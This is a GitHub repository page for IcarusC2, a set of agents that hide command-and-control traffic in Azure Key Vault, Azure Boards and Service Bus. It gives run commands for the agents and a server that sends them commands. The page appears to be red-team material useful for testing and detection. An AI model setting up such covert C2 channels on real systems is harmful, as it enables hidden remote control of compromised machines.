Skip to content

Simple set of c2 agents that utilise azure cloud services to establish connection

License

Notifications You must be signed in to change notification settings

Adasumizox/IcarusC2

Repository files navigation

IcarusC2

Establishing covert c2 connections using azure services

Azure Key Vault:

Key vault is azure cloud service for securly storing and accessing secrets.
We can use Azure key vault library to access secrets/keys/certificates key vault library
There is multiple ways to authenticate to azure key vault
In this project enviromental variable are used to authenticate

How to run:

Provide eviromental variables

  • AZURE_TENANT_ID
  • AZURE_CLIENT_ID
  • AZURE_CLIENT_SECRET

Example: export AZURE_TENANT_ID='xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx' && export AZURE_CLIENT_ID='xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx' && export AZURE_CLIENT_SECRET='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' && python3 keyvaultc2_agent.py --vault VAULT_NAME

Azure Boards:

Azure boards is azure cloud service for working with Kanban boards, backlog, team dashboards and custom reporting.
To interact with Azure Boards we can use Rest API
To authenticate we can use Personal Access Token

Example: python3 boardc2_agent.py -t PAT -o ORG_NAME -p PROJECT_NAME -i ID [-T TYPE]

Service Bus:

Service Bus is a fully managed enterprise message broker with message queues.
We can use Service Bus library to publish/subscribe to messaging queues
We can authenticate via connection string

Example: python3 busc2_agent.py -c CONNECTION_STRING -gq GET_QUEUE -sq SEND_QUEUE

Example: python3 busc2_server.py -c CONNECTION_STRING -gq SEND_QUEUE -sq GET_QUEUE [--read] [--send COMMAND]

About

Simple set of c2 agents that utilise azure cloud services to establish connection

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages